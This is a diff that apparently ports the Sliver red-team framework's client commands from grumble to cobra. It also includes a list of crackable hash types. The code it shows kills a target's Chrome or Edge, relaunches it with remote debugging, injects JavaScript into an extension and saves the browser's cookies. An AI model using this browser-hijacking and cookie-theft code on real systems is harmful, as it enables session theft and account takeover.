"AES_128_ECB": "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_192_ECB": "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_256_ECB": "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"CHA_CHA_20": "ChaCha20",
|
||||
"LINUX_KERNEL_CRYPTO_API_24": "Linux Kernel Crypto API (2.4)",
|
||||
"SKIP_32": "Skip32 (PT = $salt, key = $pass)",
|
||||
"PBKDF2_HMAC_MD5": "PBKDF2-HMAC-MD5",
|
||||
"PBKDF2_HMAC_SHA1": "PBKDF2-HMAC-SHA1",
|
||||
"PBKDF2_HMAC_SHA256": "PBKDF2-HMAC-SHA256",
|
||||
"PBKDF2_HMAC_SHA512": "PBKDF2-HMAC-SHA512",
|
||||
"SCRYPT": "scrypt",
|
||||
"PHPASS": "phpass",
|
||||
"TACACS_PLUS": "TACACS+",
|
||||
"SIP_DIGEST": "SIP digest authentication (MD5)",
|
||||
"IKE_MD5": "IKE-PSK MD5",
|
||||
"IKE_SHA1": "IKE-PSK SHA1",
|
||||
"SNMP_V3_HMAC_MD5_96": "SNMPv3 HMAC-MD5-96",
|
||||
"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_SHA1_96": "SNMPv3 HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_SHA224_128": "SNMPv3 HMAC-SHA224-128",
|
||||
"SNMP_V3_HMAC_SHA256_192": "SNMPv3 HMAC-SHA256-192",
|
||||
"SNMP_V3_HMAC_SHA384_256": "SNMPv3 HMAC-SHA384-256",
|
||||
"SNMP_V3_HMAC_SHA512_384": "SNMPv3 HMAC-SHA512-384",
|
||||
"WPA_EAPOL_PBKDF2": "WPA-EAPOL-PBKDF2",
|
||||
"WPA_EAPOL_PMK": "WPA-EAPOL-PMK",
|
||||
"WPA_PBKDF2_PMKID_EAPOL": "WPA-PBKDF2-PMKID+EAPOL",
|
||||
"WPA_PMK_PMKID_EAPOL": "WPA-PMK-PMKID+EAPOL",
|
||||
"WPA_PMKID_PBKDF2": "WPA-PMKID-PBKDF2",
|
||||
"WPA_PMKID_PMK": "WPA-PMKID-PMK",
|
||||
"IPMI2_PAKP_HMAC_SHA1": "IPMI2 RAKP HMAC-SHA1",
|
||||
"CRAM_MD5": "CRAM-MD5",
|
||||
"JWT": "JWT (JSON Web Token)",
|
||||
"RADMIN_3": "Radmin3",
|
||||
"KERBEROS_17_TGS_REP": "Kerberos 5, etype 17, TGS-REP",
|
||||
"KERBEROS_17_PREAUTH": "Kerberos 5, etype 17, Pre-Auth",
|
||||
"KERBEROS_17_DB": "Kerberos 5, etype 17, DB",
|
||||
"KERBEROS_18_TGS_REP": "Kerberos 5, etype 18, TGS-REP",
|
||||
"KERBEROS_18_PREAUTH": "Kerberos 5, etype 18, Pre-Auth",
|
||||
"KERBEROS_18_DB": "Kerberos 5, etype 18, DB",
|
||||
"KERBEROS_23_SA_REQ_PREAUTH": "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
"KERBEROS_23_TGS_REP": "Kerberos 5, etype 23, TGS-REP",
|
||||
"KERBEROS_23_AS_REP": "Kerberos 5, etype 23, AS-REP",
|
||||
"NET_NTLM_V1": "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
"NET_NTLM_V1_NT": "NetNTLMv1 / NetNTLMv1+ESS (NT)",
|
||||
"NET_NTLM_V2": "NetNTLMv2",
|
||||
"NET_NTLM_V2_NT": "NetNTLMv2 (NT)",
|
||||
"FLASK": "Flask Session Cookie ($salt.$salt.$pass)",
|
||||
"ISCSI_CHAP": "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
"RACF": "Resource Access Control Facility",
|
||||
"AIX_SMD5": "AIX MD5",
|
||||
"AIX_SSHA1": "AIX SHA-1",
|
||||
"AIX_SSHA256": "AIX SHA-256",
|
||||
"AIX_SSHA512": "AIX SHA-512",
|
||||
"LM": "LM",
|
||||
"QNX_MD5": "QNX /etc/shadow (MD5)",
|
||||
"QNX_SHA256": "QNX /etc/shadow (SHA256)",
|
||||
"QNX_SHA512": "QNX /etc/shadow (SHA512)",
|
||||
"DPAPI_V1_CTX_1_AND_2": "DPAPI masterkey file v1 (context 1 and 2)",
|
||||
"DPAPI_V1_CTX_3": "DPAPI masterkey file v1 (context 3)",
|
||||
"DPAPI_V2_CTX_1_AND_2": "DPAPI masterkey file v2 (context 1)",
|
||||
"DPAPI_V2_CTX_3": "DPAPI masterkey file v2 (context 3)",
|
||||
"GRUB_2": "GRUB 2",
|
||||
"MS_AZURE_SYNC": "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
"BSDI_CRYPT": "BSDi Crypt, Extended DES",
|
||||
"NTLM": "NTLM",
|
||||
"RADMIN2": "Radmin2",
|
||||
"SAMSUNG_ANDROID": "Samsung Android Password/PIN",
|
||||
"WINDOWS_HELLO_PIN": "Windows Hello PIN/Password",
|
||||
"WINDOWS_PHONE": "Windows Phone 8+ PIN/Password",
|
||||
"CISCO_ASA_MD5": "Cisco-ASA MD5",
|
||||
"CISCO_IOS_PBKDF2_SHA256": "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
"CISCO_IOS_SCRYPT": "Cisco-IOS $9$ (scrypt)",
|
||||
"CISCO_PIX_MD5": "Cisco-Pix MD5",
|
||||
"CITRIX_NETSCALER_SHA1": "Citrix NetScaler (SHA1)",
|
||||
"CITRIX_NETSCALER_SHA512": "Citrix NetScaler (SHA512)",
|
||||
"DCC": "Domain Cached Credentials (DCC), MS Cache",
|
||||
"DCC2": "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
|
||||
// ...
|
||||
|
||||
"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
|
||||
// ...
|
||||
|
||||
// INVALID = 9999; // Invalid hash type
|
||||
|
||||
// Out of order
|
||||
"BCRYPT_UNIX": "bcrypt",
|
||||
"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
|
||||
}
|
||||
@@ -24,12 +24,15 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CredsCmd - Add new credentials
|
||||
func CredsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
id := ctx.Flags.String("id")
|
||||
func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var id string
|
||||
if len(args) > 0 {
|
||||
id = args[0]
|
||||
}
|
||||
if id == "" {
|
||||
credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
|
||||
if err != nil {
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
@@ -22,13 +22,15 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
@@ -36,7 +38,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -51,24 +52,24 @@ var (
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
payloadPath, _ := cmd.Flags().GetString("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
payload, err = os.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
curse := avadaKedavraChrome(session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -96,10 +97,10 @@ func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -111,8 +112,8 @@ func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -133,7 +134,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -145,7 +146,7 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -153,21 +154,21 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
@@ -175,31 +176,31 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
debugPort := getRemoteDebuggerPort(cmd)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
if restore, _ := cmd.Flags().GetBool("restore"); restore {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
if ctx.Flags.Bool("keep-alive") {
|
||||
if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
|
||||
args = append(args, "--keep-alive-for-test")
|
||||
}
|
||||
if ctx.Flags.Bool("headless") {
|
||||
if headless, _ := cmd.Flags().GetBool("headless"); headless {
|
||||
args = append(args, "--headless")
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
|
||||
if len(cargs) > 0 {
|
||||
args = append(args, cargs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
@@ -253,8 +254,8 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag, _ := cmd.Flags().GetString("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
@@ -272,7 +273,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -290,7 +291,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -306,8 +307,8 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag, _ := cmd.Flags().GetString("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
@@ -337,7 +338,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -357,7 +358,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -383,7 +384,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -401,7 +402,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
chromeProcessNames := []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
@@ -416,9 +417,9 @@ func isChromeProcess(executable string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -22,19 +22,20 @@ import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/reeflective/readline"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -89,26 +90,19 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
var (
|
||||
helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
)
|
||||
var helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
tmpFile, _ := os.CreateTemp("", "cursed")
|
||||
shell := readline.NewShell()
|
||||
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
||||
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
|
||||
// EOFPrompt: "exit",
|
||||
|
||||
if con.Settings.VimMode {
|
||||
shell.Config.Set("editing-mode", "vi")
|
||||
}
|
||||
|
||||
if helpers {
|
||||
@@ -123,8 +117,9 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
}
|
||||
|
||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
||||
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
line, err := shell.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
@@ -134,8 +129,8 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
|
||||
switch strings.TrimSpace(line) {
|
||||
case ":help":
|
||||
con.Println()
|
||||
con.Println("Available commands:")
|
||||
@@ -145,7 +140,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
con.Println()
|
||||
|
||||
case ":file":
|
||||
jsCode, err := ioutil.ReadFile(line)
|
||||
jsCode, err := os.ReadFile(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
|
||||
@@ -20,16 +20,17 @@ package cursed
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -46,7 +47,7 @@ func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
@@ -59,7 +60,7 @@ func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
|
||||
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -20,38 +20,40 @@ package cursed
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
payloadPath, _ := cmd.Flags().GetString("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
payload, err = os.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
curse := avadaKedavraEdge(session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -79,10 +81,10 @@ func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -94,8 +96,8 @@ func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -116,7 +118,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -128,7 +130,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -137,7 +139,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
edgeProcessNames := []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
@@ -151,9 +153,9 @@ func isEdgeProcess(executable string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -27,6 +27,8 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
@@ -34,22 +36,21 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
